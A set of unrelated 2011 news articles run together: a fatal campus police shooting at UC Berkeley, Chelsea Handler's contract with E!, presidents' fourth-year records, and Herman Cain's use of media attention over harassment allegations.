BERKELEY, Calif.?? An undergraduate student shot by campus police after brandishing a loaded gun at the University of California, Berkeley died at a hospital hours after the confrontation, a university spokesman said Wednesday.

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Christopher Nathen Elliot Travis, 32, had just started his first semester at Berkeley after transferring from another school, and had been attending classes at the prestigious Haas School of Business, spokesman Dan Mogulof said.

University officials said a staff member first saw the man carrying what appeared to be a gun in an elevator at the business school after 2 p.m. on Tuesday. The staff member called police at 2:17 p.m., saying she saw the man remove the gun from a backpack.

Police officers tracked the suspect into a Haas computer lab. The suspect raised the loaded gun and was shot by an officer at about 2:22 p.m., roughly five minutes after the initial call, according to the school.

At the time, four students were between the officer and the suspect, UC Chancellor Robert Birgeneau said Tuesday. None of the students was hurt, and Mogulof said there was no evidence to suggest Travis had any intentions to harm others.

Bill Travis, the suspect's father, sobbed during a brief telephone interview with The Associated Press from his home in Lodi, Calif. He said he learned his son had been shot Tuesday night, and didn't wish to make any further comment.

As Twitter lit up with concerns and rumors about what had happened following the shooting Tuesday afternoon, news helicopters arrived on the scene and began buzzing overhead.

At 2:53 p.m., campus authorities sent out the first alert to the Berkeley community, saying there had been a shooting at Haas Business School and that police on the scene had the situation under control but that the area should be avoided, said Claire Holmes, an associate vice chancellor for public affairs. Another warning went out at 2:59 p.m. saying the only suspect was in custody.

A third alert went out nearly an hour later, said there was no longer a threat and that campus activities had returned to normal. The official UC Berkeley Twitter account later posted a link to an official university statement describing the incident and saying that Haas had been reopened.

When asked whether the school's emergency alert system was effective given the reporting delay, Holmes said she felt the school had done an admirable job.

"I think that given the situation, you're balancing the urgency to get something out with the knowledge that you currently have, and not creating a situation where people are overly concerned and doing things they shouldn't be doing," she said. "It went out as soon as it was possible."

It was the first on-campus shooting since 1992. In that earlier incident, an Oakland police officer fatally shot a machete-wielding activist from nearby People's Park who had broken into the former chancellor's mansion on the north side of campus.

Mogulof said Wednesday that the suspect was taken to an Oakland hospital, where he died later Tuesday.

"It's a very fast moving investigation," he said. "There were an enormous of witnesses who police had to interview so that's why it's taken this long to get the information out."

Staff, students and administrators gathered at the business school Wednesday morning for a meeting about the shooting. Grief counselors were on hand and classes were held as scheduled Wednesday.

School administrators issued a statement directing students where to find their belongings left behind Tuesday afternoon after the temporary evacuation of the school and cancellation of classes.

The shooting occurred as anti-Wall Street activists were preparing another attempt to establish an Occupy Cal camp after a failed effort last week led to dozens of arrests.

ReFund California, a coalition of student groups and university employee unions, called for a campus strike, and protesters planned a rally and march to protest banks and budget cuts to higher education.

More than 1,000 students, campus employees, faculty and other demonstrators filled an outdoor plaza Tuesday after many took part in morning teach-ins.

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Chelsea Handler Inks New Two-Year Deal with E! (omg!)

Between Chelsea Lately and her upcoming NBC series Are You There, Chelsea?, Chelsea Handler is going to be on TV for some time to come.

The comedian has signed a new two-year deal with E! Entertainment, where she'll continue serving as executive producer and host of Chelsea Lately through 2014. As part of the deal, Handler will also develop and produce shows for E! and NBCUniversal through her production company, Borderline Amazing Productions.

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Lately, which launched in July 2007, dominates in the women 18 to 34 demographic among late-night talk shows. On Oct. 10, the talk show brought in its highest rated telecast, averaging 1.8 million viewers.

"Chelsea is an extraordinary talent whose smart, clever, no-holds-barred point of view has clearly been embraced by viewers," President of E! Suzanne Kolb said in a statement. "We are thrilled to continue our partnership with Chelsea as we build on the success of Chelsea Lately, which has become the late night destination for young adults, and collaborate with Borderline Amazing Productions on developing even more hit shows."

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Not-so-great expectations for presidents in year 4

FILE - In this Oct. 25, 2011 file photo, President Barack Obama speaks at a campaign event in San Francisco. President Barack Obama's "we can't wait" refrain is all about projecting a sense of urgency and bold action heading into his fourth year in office. It turns out recent presidents haven't had much luck with that. The fourth year is often a disappointment, particularly when a president facing re-election is trying coax action out of a Congress in the hands of the other party. The heady optimism of earlier years gets bogged down in partisan bickering, and big initiatives give way to less ambitious steps. (AP Photo/Susan Walsh, File)

FILE - In this Oct. 25, 2011 file photo, President Barack Obama speaks at a campaign event in San Francisco. President Barack Obama's "we can't wait" refrain is all about projecting a sense of urgency and bold action heading into his fourth year in office. It turns out recent presidents haven't had much luck with that. The fourth year is often a disappointment, particularly when a president facing re-election is trying coax action out of a Congress in the hands of the other party. The heady optimism of earlier years gets bogged down in partisan bickering, and big initiatives give way to less ambitious steps. (AP Photo/Susan Walsh, File)

FILE - In this Nov. 3, 2004 file photo, President George W. Bush and first lady Laura Bush salute and wave during an election victory rally at the Ronald Reagan Building and International Trade Center in Washington. President Barack Obama's "we can't wait" refrain is all about projecting a sense of urgency and bold action heading into his fourth year in office. It turns out recent presidents haven't had much luck with that. The fourth year is often a disappointment, particularly when a president facing re-election is trying coax action out of a Congress in the hands of the other party. The heady optimism of earlier years gets bogged down in partisan bickering, and big initiatives give way to less ambitious steps. (AP Photo/Charles Dharapak, File)

FILE - In this Oct. 16, 1996 file photo, President Clinton and Republican presidential candidate Sen. Bob Dole, R-Kan., enter the Shiley Theatre before the start of the presidential debate at the University of San Diego. President Barack Obama's "we can't wait" refrain is all about projecting a sense of urgency and bold action heading into his fourth year in office. It turns out recent presidents haven't had much luck with that. The fourth year is often a disappointment, particularly when a president facing re-election is trying coax action out of a Congress in the hands of the other party. The heady optimism of earlier years gets bogged down in partisan bickering, and big initiatives give way to less ambitious steps. (AP Photo/Eric Draper, File)

FILE - In this Oct. 15, 1992 file photo, President George H. W. Bush, left, talks with independent candidate Ross Perot as Democratic candidate Bill Clinton stands aside at the end of their second presidential debate in Richmond, Va. President Barack Obama's "we can't wait" refrain is all about projecting a sense of urgency and bold action heading into his fourth year in office. It turns out recent presidents haven't had much luck with that. The fourth year is often a disappointment, particularly when a president facing re-election is trying coax action out of a Congress in the hands of the other party. The heady optimism of earlier years gets bogged down in partisan bickering, and big initiatives give way to less ambitious steps. (AP Photo/Marcy Nighswander, File)

FILE - In this Aug. 20, 1992 file photo, President George H.W. Bush and first lady Barbara Bush join in song during an ecumenical prayer breakfast in Houston, before Bush delivered a speech as he accepted the nomination of the Republican Party to serve a second term. President Barack Obama's "we can't wait" refrain is all about projecting a sense of urgency and bold action heading into his fourth year in office. It turns out recent presidents haven't had much luck with that. The fourth year is often a disappointment, particularly when a president facing re-election is trying coax action out of a Congress in the hands of the other party. The heady optimism of earlier years gets bogged down in partisan bickering, and big initiatives give way to less ambitious steps. (AP Photo/James Finley, File)

Washington (AP) ? President Barack Obama's "we can't wait" refrain is all about projecting a sense of urgency and bold action heading into his fourth year in office. It turns out other presidents haven't had much luck with that.

The fourth year is often a disappointment, particularly when a president facing re-election is trying to coax action out of a Congress in the hands of the other party. The heady optimism of earlier years gets bogged down in partisan bickering, and big initiatives give way to less ambitious steps.

Bill Clinton, chastened by huge GOP gains in the 1994 congressional elections, ended up tacking to the center in his fourth year, a remarkable transformation captured in his 1996 acknowledgment that "the era of big government is over." Clinton, helped by a solid economy, did enough to get re-elected, but it was a year largely characterized by small-bore initiatives like school uniforms and neighborhood curfews.

George H.W. Bush, frustrated that he couldn't get action out of a Democratic Congress on his economic proposals, opened his fourth year in 1992 with words akin to Obama's:

"My friends: The people cannot wait," he said in his State of the Union address that January. "They need help now."

By that November, voters in a down economy were tired of waiting for help, and gave the president's job to Clinton. Bush's heralded leadership of the Desert Storm coalition that expelled Iraq's invasion forces from Kuwait in 1991 had slipped from people's attention by then.

The second President Bush, in his fourth year, had the benefits of banner economic growth and a Republican-controlled Congress. That allowed him to deliver his fourth tax cut in four years just a month before Election Day 2004.

"The law I sign this morning comes at just the right time for America," Bush said as he signed the bill in the leadoff caucus state of Iowa.

The time was just right for his re-election campaign, too, he might have added.

Bush's larger accomplishments, though, came earlier in his term: education reform, big tax relief packages and managing the aftermath of the Sept. 11 attacks in 2001. He took the country into war in Afghanistan in 2001 and Iraq in 2003.

Each president has faced his own set of challenges and advantages as his first term wound down.

Franklin Roosevelt still had steam in his fourth year, as he continued to advance portions of his New Deal, and voters re-elected him in 1936 by a lopsided margin. Lyndon Johnson, who opted not to seek re-election in 1968, was slowing down but still managed to get through fair housing legislation. Jimmy Carter's fourth year was dominated by the Iranian hostage crisis and continuing inflation, and so voters denied him a fifth. Ronald Reagan had a strong economy working for him in 1984, and was rewarded with a second term.

Overall, the track record of recent presidents in year four is somewhat depressing, says Princeton University historian Julian Zelizer.

"It is possible to govern in the fourth year, whether you're popular or unpopular" he says, "but it's obviously much more limited, usually, in terms of what you can get."

Calvin Mackenzie, a presidential historian at Colby College in Maine, says the problem for sitting presidents is bigger than simply fourth-year blues.

"The system is stacked against effective presidential leadership," says Mackenzie. "In everything that involves economic and domestic policy, the president is circumscribed by constraints everywhere he turns."

Obama doesn't need a historian to tell him that: The Republican-controlled Congress has made it clear that the president's big jobs package won't go anywhere, forcing the president to plead for bite-size pieces and look for chunks that he can put in place on his own.

"We can't wait for Congress to do its job," he said in on recent speech. "If they won't act, I will."

But in the same speech, he acknowledged a countervailing truth, saying: "The only way we can attack our economic challenges on the scale that's needed is with bold action by Congress."

Obama's tone, a year out from the 2012 elections, is sharply different than when he spoke exactly one year out from Election Day 2008.

Then, he spoke optimistically of "an opportunity to deal with those challenges that we haven't met for decades because of a political system in Washington that has failed the American people."

"I'm running because I don't want to wake up one morning four years from now and turn on one of those cable talk shows and see that Washington is stuck in the same food fight that it's been in for over a decade."

Well, it's four years later, and Obama can point to some big accomplishments, such as health care reform, and winding down the war in Iraq.

But the partisan divide in Washington is as broad as ever, hemming in the president's opportunities for further action and leaving many voters feeling disappointed.

And Mackenzie says the president must take a share of the blame for raising expectations unrealistically high.

"The problem is we do expect much ? and presidents encourage us to expect much," Mackenzie says. "So we've got this awful paradox of rising expectations and diminishing ability of presidents to meet those expectations. So we're constantly disappointed in our presidents."

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Nancy Benac can be followed at http://twitter.com/nbenac.

Associated Press

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Cain seeks advantage in media attention (AP)

NEW YORK ? Herman Cain has decried the media firestorm surrounding claims he sexually harassed former employees. But the Republican presidential hopeful has also eagerly milked the limelight, even as he casts himself the victim of a journalistic smear.

"A lot of people who have been writing stories from their cubicles don't get it," Cain said in a radio interview Friday, maintaining an anti-media theme he's stuck with since the story first broke.

Allegations that the Georgia businessman sexually harassed subordinates as head of the National Restaurant Association in the late 1990s have been catnip to political reporters, blending issues of power, sex, race and money and pitting Cain's word against that of at least four accusers. The story has led news broadcasts, made headlines in major papers and driven reporters to track the candidate's every move.

Cain himself has been a constant media presence since the claims first surfaced, appearing frequently on Fox News, visiting late-night talk shows and calling in to radio hosts. As he takes advantage of its many platforms, he also criticizes the media for its interest in the controversy.

The attention has given Cain unrivaled exposure since Oct. 30, when the Politico website first broke the story.

The media frenzy ? and Cain's strategy to take advantage of it ? speaks to a symbiotic relationship between media and politicians that can be unhealthy, said Robert McClure, a professor of media and politics at Syracuse University.

"In no other country would Herman Cain be taken seriously in a way that would take up the time and the attention of serious decision-makers," McClure said. "What Cain traffics in is that he's glib and he loves attention. The media also traffics in glibness, so it's a match made in hell."

The former pizza chain executive and his allies have used the opportunity to malign the media, currying favor with many conservatives who believe news coverage is biased in favor of Democrats.

"It plays to the victimhood strain, the aggrieved aspect of being a conservative in an allegedly liberal, elitist media world," said Marty Kaplan, a professor of media and politics at the University of Southern California. "Cain has played into that ? he gets the benefits of attention, and for his conservative supporters it proves what a grand antagonist toward the media he can be."

Audience members booed at a nationally televised debate this week when CNBC's Maria Bartiromo questioned Cain about the harassment claims. And they cheered when Cain pushed back.

"The American people deserve better than someone being tried in the court of public opinion," Cain said to applause.

At first, Cain and his backers could blame press scrutiny with ease. The early stories from Politico and other news organizations, including The Associated Press, did not include the names of Cain's accusers or many specific details of what he was alleged to have done.

Fox News personality Sean Hannity referred to the reporting as "journalistic malpractice," while Donald Trump dismissed it as a witch hunt.

Conservative pundit Ann Coulter revived the term "high-tech lynching," which is how Supreme Court Justice Clarence Thomas described the media scrutiny he received during his confirmation hearings in 1991, when he was accused of sexually harassing a coworker, Anita Hill. Thomas and Cain are both African-American.

Cain even got an assist from a GOP primary rival, former House Speaker Newt Gingrich, who said the press focused on scandal at the expense of the interests of ordinary voters.

But it got harder for Cain to target reporters Monday, when one of his accusers went public.

Sharon Bialek told her story at a packed news conference in New York. She appeared with celebrity attorney Gloria Allred, and the two women then sat for several TV interviews.

Cain and many other conservatives jumped on Bialek's association with Allred, who has contributed money to several Democratic candidates.

Another Cain accuser, Karen Kraushaar, identified herself Tuesday.

Cain held a news conference Tuesday in Arizona, where he took questions after he and his lawyer, Lin Wood, gave lengthy opening remarks.

Wood has warned other women who might come forward with allegations against Cain that they would be aggressively scrutinized and should give the matter careful consideration before going public.

Cain also gave an interview to ABC News, where he suggested reporters had menaced members of his family, including his wife, Gloria, who has stayed out of the spotlight thus far.

And Cain is making the rounds of late-night talk shows.

"The voice of the people is stronger than the voice of the media," Cain told ABC's Jimmy Kimmel. "They're not going to be easily swayed by what the media hype is."

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